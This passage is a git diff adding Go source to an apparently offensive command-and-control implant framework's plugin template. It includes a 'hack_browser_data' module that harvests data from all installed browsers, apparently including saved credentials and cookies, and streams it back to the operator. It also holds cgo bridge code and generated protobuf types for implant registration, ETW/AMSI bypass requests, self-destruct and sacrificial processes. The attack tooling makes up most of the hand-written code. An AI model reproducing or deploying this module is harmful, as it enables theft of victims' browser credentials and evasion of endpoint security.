h1:wzN5dK1AzVGoH6XOzc3YZ+ey/jPgYHLuVckd62P0GYU= +modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI= +modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4= +modernc.org/libc v1.52.1 h1:uau0VoiT5hnR+SpoWekCKbLqm7v6dhRL3hI+NQhgN3M= +modernc.org/libc v1.52.1/go.mod h1:HR4nVzFDSDizP620zcMCgjb1/8xk2lg5p/8yjfGv1IQ= +modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4= +modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo= +modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E= +modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU= +modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4= +modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc= +modernc.org/sortutil v1.2.0/go.mod h1:TKU2s7kJMf1AE84OoiGppNHJwvB753OYfNl2WRb++Ss= +modernc.org/sqlite v1.30.1 h1:YFhPVfu2iIgUf9kuA1CR7iiHdcEEsI2i+yjRYHscyxk= +modernc.org/sqlite v1.30.1/go.mod h1:DUmsiWQDaAvU4abhc/N+djlom/L2o8f7gZ95RCvyoLU= +modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA= +modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0= +modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= +modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/hackbrowser.go b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/hackbrowser.go new file mode 100644 index 0000000..0b18ad5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/hackbrowser.go @@ -0,0 +1,117 @@ +package main + +import ( + "fmt" + malefic "malefic-core" + "os" + "path/filepath" + "strings" + + "github.com/moond4rk/hackbrowserdata/browser" +) + +// Module wraps HackBrowserData as a streaming GoModule. +// Request.Input = browser name ("all", "chrome", "firefox", …) +// Request.Params = {"profile_path": "…", "format": "json"|"csv", "full_export": "true"|"false"} +type Module struct{} + +func (m *Module) Name() string { return "hack_browser_data" } + +func (m *Module) Run(taskId uint32, input <-chan *malefic.Request, output chan<- *malefic.Response) { + for req := range input { + browserName := req.Input + if browserName == "" { + browserName = "all" + } + + profilePath := "" + format := "json" + fullExport := true + if req.Params != nil { + if v, ok := req.Params["profile_path"]; ok { + profilePath = v + } + if v, ok := req.Params["format"]; ok { + format = v + } + if v, ok := req.Params["full_export"]; ok && v == "false" { + fullExport = false + } + } + + browsers, err := browser.PickBrowsers(browserName, profilePath) + if err != nil { + output <- &malefic.Response{Error: fmt.Sprintf("pick browsers: %v", err)} + continue + } + if len(browsers) == 0 { + output <- &malefic.Response{Error: "no browsers found"} + continue + } + + tmpDir, err := os.MkdirTemp("", fmt.Sprintf("hbd-%d-*", taskId)) + if err != nil { + output <- &malefic.Response{Error: fmt.Sprintf("mkdtemp: %v", err)} + continue + } + + for _, b := range browsers { + data, err := b.BrowsingData(fullExport) + if err != nil { + output <- &malefic.Response{ + Error: fmt.Sprintf("browser %s: %v", b.Name(), err), + Kv: map[string]string{"browser": b.Name()}, + } + continue + } + data.Output(tmpDir, b.Name(), format) + } + + entries, _ := os.ReadDir(tmpDir) + for _, entry := range entries { + if entry.IsDir() { + continue + } + fpath := filepath.Join(tmpDir, entry.Name()) + content, err := os.ReadFile(fpath) + if err != nil { + continue + } + trimmed := strings.TrimSpace(string(content)) + if trimmed == "" || trimmed == "[]" || trimmed == "{}" { + continue + } + output <- &malefic.Response{ + Output: string(content), + Kv: map[string]string{ + "browser": extractBrowserName(entry.Name()), + "file": entry.Name(), + }, + } + } + + os.RemoveAll(tmpDir) + + output <- &malefic.Response{ + Output: fmt.Sprintf("done: %d browsers processed", len(browsers)), + Kv: map[string]string{"status": "complete"}, + Array: browserNames(browsers), + } + } +} + +func extractBrowserName(filename string) string { + parts := strings.SplitN(filename, "_", 2) + if len(parts) > 0 { + return parts[0] + } + return filename +} + +func browserNames(browsers []browser.Browser) []string { + names := make([]string, 0, len(browsers)) + for _, b := range browsers { + names = append(names, b.Name()) + } + return names +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/main.go b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/main.go new file mode 100644 index 0000000..f64f170 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/main.go @@ -0,0 +1,42 @@ +package main + +/* +#include +*/ +import "C" +import ( + malefic "malefic-core" + "unsafe" +) + +func init() { + malefic.RegisterModule(&Module{}) +} + +//export GoModuleName +func GoModuleName() *C.char { + return C.CString(malefic.GetModule().Name()) +} + +//export GoModuleSend +func GoModuleSend(taskId C.uint, data *C.char, dataLen C.int) C.int { + return C.int(malefic.BridgeSend(uint32(taskId), C.GoBytes(unsafe.Pointer(data), dataLen))) +} + +//export GoModuleRecv +func GoModuleRecv(taskId C.uint, outLen *C.int, status *C.int) *C.char { + out, st := malefic.BridgeRecv(uint32(taskId)) + *status = C.int(st) + if out == nil { + return nil + } + *outLen = C.int(len(out)) + return (*C.char)(C.CBytes(out)) +} + +//export GoModuleCloseInput +func GoModuleCloseInput(taskId C.uint) { + malefic.CloseSessionInput(uint32(taskId)) +} + +func main() {} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/bridge.go b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/bridge.go new file mode 100644 index 0000000..a46dec1 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/bridge.go @@ -0,0 +1,86 @@ +package malefic + +import "sync" + +var registeredModule GoModule + +func RegisterModule(m GoModule) { registeredModule = m } +func GetModule() GoModule { return registeredModule } + +// Session holds per-task channels for bidirectional streaming. +type Session struct { + Input chan *Request + Output chan *Response + Done chan struct{} +} + +var sessions sync.Map // map[uint32]*Session + +// GetOrCreateSession returns the session for taskId, creating one on first access. +func GetOrCreateSession(taskId uint32) *Session { + if v, ok := sessions.Load(taskId); ok { + return v.(*Session) + } + s := &Session{ + Input: make(chan *Request, 16), + Output: make(chan *Response, 16), + Done: make(chan struct{}), + } + actual, loaded := sessions.LoadOrStore(taskId, s) + if loaded { + return actual.(*Session) + } + go func() { + defer close(s.Done) + defer close(s.Output) + registeredModule.Run(taskId, s.Input, s.Output) + }() + return s +} + +// DeleteSession removes the session for taskId. +func DeleteSession(taskId uint32) { + sessions.Delete(taskId) +} + +// CloseSessionInput closes the input channel for the given task. +func CloseSessionInput(taskId uint32) { + v, ok := sessions.Load(taskId) + if !ok { + return + } + s := v.(*Session) + close(s.Input) +} + +// BridgeSend deserializes data into a Request and sends it to the session. +// Returns 0 on success, -1 on failure. +func BridgeSend(taskId uint32, data []byte) int { + s := GetOrCreateSession(taskId) + req := &Request{} + if err := req.UnmarshalVT(data); err != nil { + return -1 + } + select { + case s.Input <- req: + return 0 + case <-s.Done: + return -1 + } +} + +// BridgeRecv reads the next response from the session. +// Returns (data, status) where status: 0=ok, 1=done, 2=marshal error. +func BridgeRecv(taskId uint32) ([]byte, int) { + s := GetOrCreateSession(taskId) + resp, ok := <-s.Output + if !ok { + DeleteSession(taskId) + return nil, 1 + } + out, err := resp.MarshalVT() + if err != nil { + return nil, 2 + } + return out, 0 +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.mod b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.mod new file mode 100644 index 0000000..51146f3 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.mod @@ -0,0 +1,7 @@ +module malefic-core + +go 1.23.1 + +require github.com/aperturerobotics/protobuf-go-lite v0.12.1 + +require github.com/aperturerobotics/json-iterator-lite v1.0.0 // indirect diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.sum b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.sum new file mode 100644 index 0000000..c5012b8 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.sum @@ -0,0 +1,14 @@ +github.com/aperturerobotics/json-iterator-lite v1.0.0 h1:cihbrYWoK/S2RYXhJLpDZd+GUjVvFJN+D3w1VOqqHRI= +github.com/aperturerobotics/json-iterator-lite v1.0.0/go.mod h1:snaApCEDtrHHP6UWSLKiYNOZU9A5NyzccKenx9oZEzg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1 h1:o9of87F/LFS2p5xfq32CrU99dvfqIAalTP7ZzoZK6Kg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1/go.mod h1:lGH3s5ArCTXKI4wJdlNpaybUtwSjfAG0vdWjxOfMcF8= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.go b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.go new file mode 100644 index 0000000..1128867 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.go @@ -0,0 +1,40 @@ +package malefic + +// GoModule is the low-level streaming interface. +// Use this directly only when you need bidirectional streaming (multiple responses per request). +// For simple request→response modules, implement GoModuleHandler instead. +type GoModule interface { + Name() string + Run(taskId uint32, input <-chan *Request, output chan<- *Response) +} + +// GoModuleHandler is the simple interface for one-shot request→response modules. +// Implement this to avoid dealing with channels — just like check_request! on the Rust side. +type GoModuleHandler interface { + Name() string + Handle(taskId uint32, req *Request) (*Response, error) +} + +// AsModule wraps a GoModuleHandler into a GoModule. +func AsModule(h GoModuleHandler) GoModule { + return &handlerAdapter{h} +} + +type handlerAdapter struct { + handler GoModuleHandler +} + +func (a *handlerAdapter) Name() string { return a.handler.Name() } + +func (a *handlerAdapter) Run(taskId uint32, input <-chan *Request, output chan<- *Response) { + for req := range input { + resp, err := a.handler.Handle(taskId, req) + if err != nil { + output <- &Response{Error: err.Error()} + continue + } + if resp != nil { + output <- resp + } + } +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.pb.go b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.pb.go new file mode 100644 index 0000000..00604e2 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.pb.go @@ -0,0 +1,42383 @@ +// Code generated by protoc-gen-go-lite. DO NOT EDIT. +// protoc-gen-go-lite version: v0.12.1 +// source: malefic/module.proto + +package malefic + +import ( + base64 "encoding/base64" + binary "encoding/binary" + fmt "fmt" + protobuf_go_lite "github.com/aperturerobotics/protobuf-go-lite" + json "github.com/aperturerobotics/protobuf-go-lite/json" + io "io" + maps "maps" + math "math" + slices "slices" + strconv "strconv" + strings "strings" + unsafe "unsafe" +) + +type Ping struct { + unknownFields []byte + Nonce int32 `protobuf:"varint,1,opt,name=nonce,proto3" json:"nonce,omitempty"` +} + +func (x *Ping) Reset() { + *x = Ping{} +} + +func (*Ping) ProtoMessage() {} + +func (x *Ping) GetNonce() int32 { + if x != nil { + return x.Nonce + } + return 0 +} + +type Register struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Proxy string `protobuf:"bytes,2,opt,name=proxy,proto3" json:"proxy,omitempty"` + Module []string `protobuf:"bytes,3,rep,name=module,proto3" json:"module,omitempty"` + Addons []*Addon `protobuf:"bytes,4,rep,name=addons,proto3" json:"addons,omitempty"` + Timer *Timer `protobuf:"bytes,5,opt,name=timer,proto3" json:"timer,omitempty"` + Sysinfo *SysInfo `protobuf:"bytes,11,opt,name=sysinfo,proto3" json:"sysinfo,omitempty"` + Secure *Secure `protobuf:"bytes,12,opt,name=secure,proto3" json:"secure,omitempty"` // Implant's public key, used by server to encrypt data +} + +func (x *Register) Reset() { + *x = Register{} +} + +func (*Register) ProtoMessage() {} + +func (x *Register) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Register) GetProxy() string { + if x != nil { + return x.Proxy + } + return "" +} + +func (x *Register) GetModule() []string { + if x != nil { + return x.Module + } + return nil +} + +func (x *Register) GetAddons() []*Addon { + if x != nil { + return x.Addons + } + return nil +} + +func (x *Register) GetTimer() *Timer { + if x != nil { + return x.Timer + } + return nil +} + +func (x *Register) GetSysinfo() *SysInfo { + if x != nil { + return x.Sysinfo + } + return nil +} + +func (x *Register) GetSecure() *Secure { + if x != nil { + return x.Secure + } + return nil +} + +type Secure struct { + unknownFields []byte + Enable bool `protobuf:"varint,1,opt,name=enable,proto3" json:"enable,omitempty"` + Key string `protobuf:"bytes,2,opt,name=key,proto3" json:"key,omitempty"` // encryption key + Type string `protobuf:"bytes,3,opt,name=type,proto3" json:"type,omitempty"` // encryption type + PublicKey string `protobuf:"bytes,4,opt,name=public_key,json=publicKey,proto3" json:"publicKey,omitempty"` // Implant's public key, used by server to encrypt data +} + +func (x *Secure) Reset() { + *x = Secure{} +} + +func (*Secure) ProtoMessage() {} + +func (x *Secure) GetEnable() bool { + if x != nil { + return x.Enable + } + return false +} + +func (x *Secure) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *Secure) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *Secure) GetPublicKey() string { + if x != nil { + return x.PublicKey + } + return "" +} + +// Age key exchange related messages +type KeyExchangeRequest struct { + unknownFields []byte + PublicKey string `protobuf:"bytes,1,opt,name=public_key,json=publicKey,proto3" json:"publicKey,omitempty"` // Temporary public key (Age X25519) + Signature []byte `protobuf:"bytes,2,opt,name=signature,proto3" json:"signature,omitempty"` // Signature of temporary public key + Timestamp uint64 `protobuf:"varint,3,opt,name=timestamp,proto3" json:"timestamp,omitempty"` // Timestamp + Nonce string `protobuf:"bytes,4,opt,name=nonce,proto3" json:"nonce,omitempty"` // Nonce +} + +func (x *KeyExchangeRequest) Reset() { + *x = KeyExchangeRequest{} +} + +func (*KeyExchangeRequest) ProtoMessage() {} + +func (x *KeyExchangeRequest) GetPublicKey() string { + if x != nil { + return x.PublicKey + } + return "" +} + +func (x *KeyExchangeRequest) GetSignature() []byte { + if x != nil { + return x.Signature + } + return nil +} + +func (x *KeyExchangeRequest) GetTimestamp() uint64 { + if x != nil { + return x.Timestamp + } + return 0 +} + +func (x *KeyExchangeRequest) GetNonce() string { + if x != nil { + return x.Nonce + } + return "" +} + +type KeyExchangeResponse struct { + unknownFields []byte + PublicKey string `protobuf:"bytes,1,opt,name=public_key,json=publicKey,proto3" json:"publicKey,omitempty"` // Server temporary public key +} + +func (x *KeyExchangeResponse) Reset() { + *x = KeyExchangeResponse{} +} + +func (*KeyExchangeResponse) ProtoMessage() {} + +func (x *KeyExchangeResponse) GetPublicKey() string { + if x != nil { + return x.PublicKey + } + return "" +} + +type Init struct { + unknownFields []byte + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` +} + +func (x *Init) Reset() { + *x = Init{} +} + +func (*Init) ProtoMessage() {} + +func (x *Init) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +type SysInfo struct { + unknownFields []byte + Filepath string `protobuf:"bytes,1,opt,name=filepath,proto3" json:"filepath,omitempty"` + Workdir string `protobuf:"bytes,2,opt,name=workdir,proto3" json:"workdir,omitempty"` + IsPrivilege bool `protobuf:"varint,3,opt,name=is_privilege,json=isPrivilege,proto3" json:"isPrivilege,omitempty"` + Os *Os `protobuf:"bytes,11,opt,name=os,proto3" json:"os,omitempty"` + Process *Process `protobuf:"bytes,12,opt,name=process,proto3" json:"process,omitempty"` +} + +func (x *SysInfo) Reset() { + *x = SysInfo{} +} + +func (*SysInfo) ProtoMessage() {} + +func (x *SysInfo) GetFilepath() string { + if x != nil { + return x.Filepath + } + return "" +} + +func (x *SysInfo) GetWorkdir() string { + if x != nil { + return x.Workdir + } + return "" +} + +func (x *SysInfo) GetIsPrivilege() bool { + if x != nil { + return x.IsPrivilege + } + return false +} + +func (x *SysInfo) GetOs() *Os { + if x != nil { + return x.Os + } + return nil +} + +func (x *SysInfo) GetProcess() *Process { + if x != nil { + return x.Process + } + return nil +} + +type Suicide struct { + unknownFields []byte + Type int32 `protobuf:"varint,1,opt,name=type,proto3" json:"type,omitempty"` + Timestamp int64 `protobuf:"varint,2,opt,name=timestamp,proto3" json:"timestamp,omitempty"` +} + +func (x *Suicide) Reset() { + *x = Suicide{} +} + +func (*Suicide) ProtoMessage() {} + +func (x *Suicide) GetType() int32 { + if x != nil { + return x.Type + } + return 0 +} + +func (x *Suicide) GetTimestamp() int64 { + if x != nil { + return x.Timestamp + } + return 0 +} + +// common empty request +type Request struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Input string `protobuf:"bytes,2,opt,name=input,proto3" json:"input,omitempty"` + Args []string `protobuf:"bytes,3,rep,name=args,proto3" json:"args,omitempty"` + Params map[string]string `protobuf:"bytes,4,rep,name=params,proto3" json:"params,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Bin []byte `protobuf:"bytes,5,opt,name=bin,proto3" json:"bin,omitempty"` +} + +func (x *Request) Reset() { + *x = Request{} +} + +func (*Request) ProtoMessage() {} + +func (x *Request) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Request) GetInput() string { + if x != nil { + return x.Input + } + return "" +} + +func (x *Request) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +func (x *Request) GetParams() map[string]string { + if x != nil { + return x.Params + } + return nil +} + +func (x *Request) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +type Response struct { + unknownFields []byte + Output string `protobuf:"bytes,1,opt,name=output,proto3" json:"output,omitempty"` + Error string `protobuf:"bytes,2,opt,name=error,proto3" json:"error,omitempty"` + Kv map[string]string `protobuf:"bytes,3,rep,name=kv,proto3" json:"kv,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Array []string `protobuf:"bytes,4,rep,name=array,proto3" json:"array,omitempty"` +} + +func (x *Response) Reset() { + *x = Response{} +} + +func (*Response) ProtoMessage() {} + +func (x *Response) GetOutput() string { + if x != nil { + return x.Output + } + return "" +} + +func (x *Response) GetError() string { + if x != nil { + return x.Error + } + return "" +} + +func (x *Response) GetKv() map[string]string { + if x != nil { + return x.Kv + } + return nil +} + +func (x *Response) GetArray() []string { + if x != nil { + return x.Array + } + return nil +} + +type BypassRequest struct { + unknownFields []byte + ETW bool `protobuf:"varint,1,opt,name=ETW,proto3" json:"ETW,omitempty"` + AMSI bool `protobuf:"varint,2,opt,name=AMSI,proto3" json:"AMSI,omitempty"` + BlockDll bool `protobuf:"varint,3,opt,name=block_dll,json=blockDll,proto3" json:"blockDll,omitempty"` +} + +func (x *BypassRequest) Reset() { + *x = BypassRequest{} +} + +func (*BypassRequest) ProtoMessage() {} + +func (x *BypassRequest) GetETW() bool { + if x != nil { + return x.ETW + } + return false +} + +func (x *BypassRequest) GetAMSI() bool { + if x != nil { + return x.AMSI + } + return false +} + +func (x *BypassRequest) GetBlockDll() bool { + if x != nil { + return x.BlockDll + } + return false +} + +type NetInterface struct { + unknownFields []byte + Index int32 `protobuf:"varint,1,opt,name=index,proto3" json:"index,omitempty"` + Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + Mac string `protobuf:"bytes,3,opt,name=mac,proto3" json:"mac,omitempty"` + IpAddresses []string `protobuf:"bytes,4,rep,name=ip_addresses,json=ipAddresses,proto3" json:"ipAddresses,omitempty"` +} + +func (x *NetInterface) Reset() { + *x = NetInterface{} +} + +func (*NetInterface) ProtoMessage() {} + +func (x *NetInterface) GetIndex() int32 { + if x != nil { + return x.Index + } + return 0 +} + +func (x *NetInterface) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *NetInterface) GetMac() string { + if x != nil { + return x.Mac + } + return "" +} + +func (x *NetInterface) GetIpAddresses() []string { + if x != nil { + return x.IpAddresses + } + return nil +} + +type SockTabEntry struct { + unknownFields []byte + LocalAddr string `protobuf:"bytes,1,opt,name=local_addr,json=localAddr,proto3" json:"localAddr,omitempty"` + RemoteAddr string `protobuf:"bytes,2,opt,name=remote_addr,json=remoteAddr,proto3" json:"remoteAddr,omitempty"` + SkState string `protobuf:"bytes,3,opt,name=skState,proto3" json:"skState,omitempty"` + // uint32 uid = 4; + Pid string `protobuf:"bytes,5,opt,name=pid,proto3" json:"pid,omitempty"` + Protocol string `protobuf:"bytes,6,opt,name=protocol,proto3" json:"protocol,omitempty"` +} + +func (x *SockTabEntry) Reset() { + *x = SockTabEntry{} +} + +func (*SockTabEntry) ProtoMessage() {} + +func (x *SockTabEntry) GetLocalAddr() string { + if x != nil { + return x.LocalAddr + } + return "" +} + +func (x *SockTabEntry) GetRemoteAddr() string { + if x != nil { + return x.RemoteAddr + } + return "" +} + +func (x *SockTabEntry) GetSkState() string { + if x != nil { + return x.SkState + } + return "" +} + +func (x *SockTabEntry) GetPid() string { + if x != nil { + return x.Pid + } + return "" +} + +func (x *SockTabEntry) GetProtocol() string { + if x != nil { + return x.Protocol + } + return "" +} + +type NetstatResponse struct { + unknownFields []byte + Socks []*SockTabEntry `protobuf:"bytes,1,rep,name=socks,proto3" json:"socks,omitempty"` +} + +func (x *NetstatResponse) Reset() { + *x = NetstatResponse{} +} + +func (*NetstatResponse) ProtoMessage() {} + +func (x *NetstatResponse) GetSocks() []*SockTabEntry { + if x != nil { + return x.Socks + } + return nil +} + +type Block struct { + unknownFields []byte + BlockId uint32 `protobuf:"varint,1,opt,name=block_id,json=blockId,proto3" json:"blockId,omitempty"` + Content []byte `protobuf:"bytes,2,opt,name=content,proto3" json:"content,omitempty"` + End bool `protobuf:"varint,3,opt,name=end,proto3" json:"end,omitempty"` +} + +func (x *Block) Reset() { + *x = Block{} +} + +func (*Block) ProtoMessage() {} + +func (x *Block) GetBlockId() uint32 { + if x != nil { + return x.BlockId + } + return 0 +} + +func (x *Block) GetContent() []byte { + if x != nil { + return x.Content + } + return nil +} + +func (x *Block) GetEnd() bool { + if x != nil { + return x.End + } + return false +} + +type ACK struct { + unknownFields []byte + Id uint32 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + Success bool `protobuf:"varint,2,opt,name=success,proto3" json:"success,omitempty"` + End bool `protobuf:"varint,3,opt,name=end,proto3" json:"end,omitempty"` +} + +func (x *ACK) Reset() { + *x = ACK{} +} + +func (*ACK) ProtoMessage() {} + +func (x *ACK) GetId() uint32 { + if x != nil { + return x.Id + } + return 0 +} + +func (x *ACK) GetSuccess() bool { + if x != nil { + return x.Success + } + return false +} + +func (x *ACK) GetEnd() bool { + if x != nil { + return x.End + } + return false +} + +type Os struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Version string `protobuf:"bytes,2,opt,name=version,proto3" json:"version,omitempty"` // kernel version + Release string `protobuf:"bytes,3,opt,name=release,proto3" json:"release,omitempty"` // release version + Arch string `protobuf:"bytes,4,opt,name=arch,proto3" json:"arch,omitempty"` + Username string `protobuf:"bytes,5,opt,name=username,proto3" json:"username,omitempty"` + Hostname string `protobuf:"bytes,6,opt,name=hostname,proto3" json:"hostname,omitempty"` + Locale string `protobuf:"bytes,7,opt,name=locale,proto3" json:"locale,omitempty"` // timezone + ClrVersion []string `protobuf:"bytes,8,rep,name=clr_version,json=clrVersion,proto3" json:"clrVersion,omitempty"` +} + +func (x *Os) Reset() { + *x = Os{} +} + +func (*Os) ProtoMessage() {} + +func (x *Os) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Os) GetVersion() string { + if x != nil { + return x.Version + } + return "" +} + +func (x *Os) GetRelease() string { + if x != nil { + return x.Release + } + return "" +} + +func (x *Os) GetArch() string { + if x != nil { + return x.Arch + } + return "" +} + +func (x *Os) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + +func (x *Os) GetHostname() string { + if x != nil { + return x.Hostname + } + return "" +} + +func (x *Os) GetLocale() string { + if x != nil { + return x.Locale + } + return "" +} + +func (x *Os) GetClrVersion() []string { + if x != nil { + return x.ClrVersion + } + return nil +} + +type Process struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Pid uint32 `protobuf:"varint,2,opt,name=pid,proto3" json:"pid,omitempty"` + Ppid uint32 `protobuf:"varint,3,opt,name=ppid,proto3" json:"ppid,omitempty"` + Owner string `protobuf:"bytes,4,opt,name=owner,proto3" json:"owner,omitempty"` + Arch string `protobuf:"bytes,5,opt,name=arch,proto3" json:"arch,omitempty"` + Path string `protobuf:"bytes,6,opt,name=path,proto3" json:"path,omitempty"` + Args string `protobuf:"bytes,7,opt,name=args,proto3" json:"args,omitempty"` + Uid string `protobuf:"bytes,8,opt,name=uid,proto3" json:"uid,omitempty"` +} + +func (x *Process) Reset() { + *x = Process{} +} + +func (*Process) ProtoMessage() {} + +func (x *Process) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Process) GetPid() uint32 { + if x != nil { + return x.Pid + } + return 0 +} + +func (x *Process) GetPpid() uint32 { + if x != nil { + return x.Ppid + } + return 0 +} + +func (x *Process) GetOwner() string { + if x != nil { + return x.Owner + } + return "" +} + +func (x *Process) GetArch() string { + if x != nil { + return x.Arch + } + return "" +} + +func (x *Process) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *Process) GetArgs() string { + if x != nil { + return x.Args + } + return "" +} + +func (x *Process) GetUid() string { + if x != nil { + return x.Uid + } + return "" +} + +type Timer struct { + unknownFields []byte + Expression string `protobuf:"bytes,1,opt,name=expression,proto3" json:"expression,omitempty"` + Jitter float64 `protobuf:"fixed64,2,opt,name=jitter,proto3" json:"jitter,omitempty"` +} + +func (x *Timer) Reset() { + *x = Timer{} +} + +func (*Timer) ProtoMessage() {} + +func (x *Timer) GetExpression() string { + if x != nil { + return x.Expression + } + return "" +} + +func (x *Timer) GetJitter() float64 { + if x != nil { + return x.Jitter + } + return 0 +} + +type FileInfo struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + IsDir bool `protobuf:"varint,2,opt,name=IsDir,proto3" json:"IsDir,omitempty"` + Size uint64 `protobuf:"varint,3,opt,name=Size,proto3" json:"Size,omitempty"` + ModTime int64 `protobuf:"varint,4,opt,name=ModTime,proto3" json:"ModTime,omitempty"` + Mode uint32 `protobuf:"varint,5,opt,name=Mode,proto3" json:"Mode,omitempty"` + Link string `protobuf:"bytes,6,opt,name=Link,proto3" json:"Link,omitempty"` +} + +func (x *FileInfo) Reset() { + *x = FileInfo{} +} + +func (*FileInfo) ProtoMessage() {} + +func (x *FileInfo) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *FileInfo) GetIsDir() bool { + if x != nil { + return x.IsDir + } + return false +} + +func (x *FileInfo) GetSize() uint64 { + if x != nil { + return x.Size + } + return 0 +} + +func (x *FileInfo) GetModTime() int64 { + if x != nil { + return x.ModTime + } + return 0 +} + +func (x *FileInfo) GetMode() uint32 { + if x != nil { + return x.Mode + } + return 0 +} + +func (x *FileInfo) GetLink() string { + if x != nil { + return x.Link + } + return "" +} + +type SacrificeProcess struct { + unknownFields []byte + Hidden bool `protobuf:"varint,1,opt,name=hidden,proto3" json:"hidden,omitempty"` + BlockDll bool `protobuf:"varint,2,opt,name=block_dll,json=blockDll,proto3" json:"blockDll,omitempty"` + Etw bool `protobuf:"varint,3,opt,name=etw,proto3" 